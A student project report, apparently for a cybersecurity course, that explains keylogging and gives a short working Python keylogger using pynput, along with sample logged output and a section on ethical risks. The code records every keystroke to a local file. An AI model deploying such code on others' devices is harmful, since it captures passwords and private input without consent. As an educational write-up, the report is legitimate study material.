# Task 2: Key Logging Report

## Title Page

**Project Title**: Basic Keylogger in Python **Instructor**: [Instructor’s Name]  
**Student Name**:

**Submission Date**: 27 July 2025.

## Table of Contents

1. Introduction
2. Objectives
3. Tools and Environment
4. Theoretical Background
5. System Requirements
6. Implementation (with Code)
7. Sample Output
8. Risks and Ethical Considerations
9. Learning Outcomes
10. Conclusion
11. References
12. Appendix

## 1. Introduction

Keystroke logging (keylogging) is the act of recording the keys struck on a keyboard, typically covertly. This project demonstrates how a basic keylogger works by capturing keystrokes locally on a system using Python, purely for educational purposes in a controlled environment.

## 2. Objectives

* Understand how keystroke logging works.
* Simulate a basic keylogger in Python.
* Capture user input and store it in a log file.
* Understand the ethical risks and potential misuse.

## 3. Tools and Environment

* **Programming Language**: Python 3.x
* **Editor**: Visual Studio Code (VS Code)
* **Operating System**: Windows 10/11 or Linux (Tested on Windows)
* **Modules Used**: pynput
* **Permissions**: Basic user-level (Admin not needed)

## 4. Theoretical Background

### What is Keylogging?

Keylogging is a form of input monitoring where software records all keystrokes made on a device. It can be used for monitoring, parental control, or malicious spying.

### Legal & Ethical Use

Keyloggers can be legally used on devices you own or have explicit permission to monitor. Unauthorized use is illegal and unethical.

### How Python Keylogging Works

Python uses libraries like pynput to hook into the keyboard input and record it. These logs can be written to a file for analysis.

## 5. System Requirements

* Python 3.x installed
* pynput library installed (pip install pynput)
* Basic IDE like VS Code
* Console or terminal access

## 6. Implementation (with Code)

### Installation

pip install pynput

### Python Code (keylogger.py)

from pynput import keyboard  
  
def on\_press(key):  
 try:  
 with open("keylog.txt", "a") as log\_file:  
 log\_file.write(f"{key.char}")  
 except AttributeError:  
 with open("keylog.txt", "a") as log\_file:  
 log\_file.write(f"[{key}]")  
  
def on\_release(key):  
 if key == keyboard.Key.esc:  
 print("Exiting keylogger...")  
 return False  
  
with keyboard.Listener(on\_press=on\_press, on\_release=on\_release) as listener:  
 listener.join()

## 7. Sample Output

Contents of keylog.txt after some typing:

ahmed123[space]test[enter]abc[Key.backspace]

## 8. Risks and Ethical Considerations

* **Privacy Violation**: Unauthorized keylogging is illegal.
* **Data Theft**: Sensitive information like passwords can be captured.
* **Malware**: Many malware programs use keylogging to steal data.
* **Ethical Use Only**: This project is educational. Do not deploy or distribute.

## 9. Learning Outcomes

* Learned how to hook into keyboard inputs using Python.
* Understood the implications of keylogging software.
* Gained hands-on experience with pynput and file operations.
* Strengthened understanding of computer security and privacy.

## 10. Conclusion

This project successfully demonstrates how a simple keylogger works using Python. It highlights the technical ease and ethical danger of such tools. The knowledge gained here is intended to help build better defenses and understand attack vectors in cybersecurity.

## 11. References

* pynput Documentation: <https://pynput.readthedocs.io/>
* RealPython - Keylogging Tutorial
* Cybersecurity Ethics (Coursera, edX, TryHackMe)

## 12. Appendix

* Screenshot of keylog.txt contents

A computer screen with text on it

AI-generated content may be incorrect.